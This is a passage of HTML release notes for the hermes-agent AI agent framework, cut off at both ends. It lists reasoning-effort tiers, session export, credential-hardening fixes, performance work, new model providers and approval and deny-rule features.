href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a 